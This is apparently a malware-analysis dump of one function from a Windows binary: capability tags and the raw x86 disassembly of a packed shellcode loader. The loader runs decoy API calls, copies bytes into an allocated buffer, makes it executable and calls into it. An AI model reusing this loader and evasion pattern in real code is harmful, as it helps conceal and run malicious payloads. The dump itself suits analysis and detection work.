Function at 0x423615
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd14
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0xd10], eax
mov eax, dword [0x4371b4]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0x18a
jne 0x42364d
mov eax, dword [0x4287a0]
add eax, 0x9e49
cmp eax, 0x141
jne 0x423665
or dword [0x4293a4], 0xffffffff
mov dword [0x4293a0], 0xec58acac
inc ecx
cmp ecx, 0x1237750
jl 0x42363b
mov dword [0x4371b4], eax
xor ecx, ecx
cmp ecx, 0x565415
jne 0x423689
mov edx, dword [0x427fd8]
mov dword [0x4371b8], edx
inc ecx
cmp ecx, 0x5f1e54
jl 0x423675
cmp eax, 0x7c
jne 0x423741
push esi
lea eax, [esp + 0x51c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
lea eax, [esp + 0x10]
push eax
push esi
lea eax, [esp + 0x124]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x4371b4], 0x54
jne 0x423733
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call edi
push str.Guvezirufa_pemuritowuwep
call edi
push esi
call fcn.00401274
push esi
call fcn.0040128a
pop ecx
pop ecx
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x25930
jg 0x423778
inc edi
cmp edi, 0xe860d
jl 0x423743
jmp 0x42378c
cmp dword [0x4371b4], 0xa
jne 0x42378c
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x4371b4], 0x2a
jne 0x423813
push esi
push esi
push esi
mov dword [0x437078], esi
mov dword [0x43707c], esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push esi
push esi
lea eax, [esp + 0x520]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ebx, 0x4254c0
push ebx
push str.0__f
mov edi, 0x429318
push edi
call fcn.00401093
push esi
call fcn.0040113c
push esi
push esi
call fcn.004010ad
push ebx
push str._s__c
push edi
call fcn.00401295
call fcn.00407c1d
push esi
push esi
call fcn.004010ad
push esi
push esi
call fcn.00401206
push esi
push esi
call fcn.004010ad
add esp, 0x3c
push dword [0x4371b4]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x4371b4]
xor edi, edi
mov dword [0x436ed0], eax
cmp ecx, esi
jbe 0x423858
mov edx, dword [0x4371b8]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x423853
mov dword [0x436ed4], 0x19b0
inc edi
cmp edi, ecx
jb 0x423831
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [esp + 0x14]
push eax
push 0x40
push dword [0x4371b4]
push dword [0x436ed0]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00423584
xor eax, eax
cmp eax, 0xd606b
jne 0x42388f
call fcn.00423486
inc eax
cmp eax, 0x24e87d
jl 0x423883
mov dword [0x437080], 0x8e46a6f0
cmp esi, 0x408e
jle 0x4238b3
cmp dword [esp + 0x48], 0xf5bed7
jne 0x4238bc
inc esi
cmp esi, 0x687ed2
jl 0x4238a1
mov ecx, dword [esp + 0xd1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret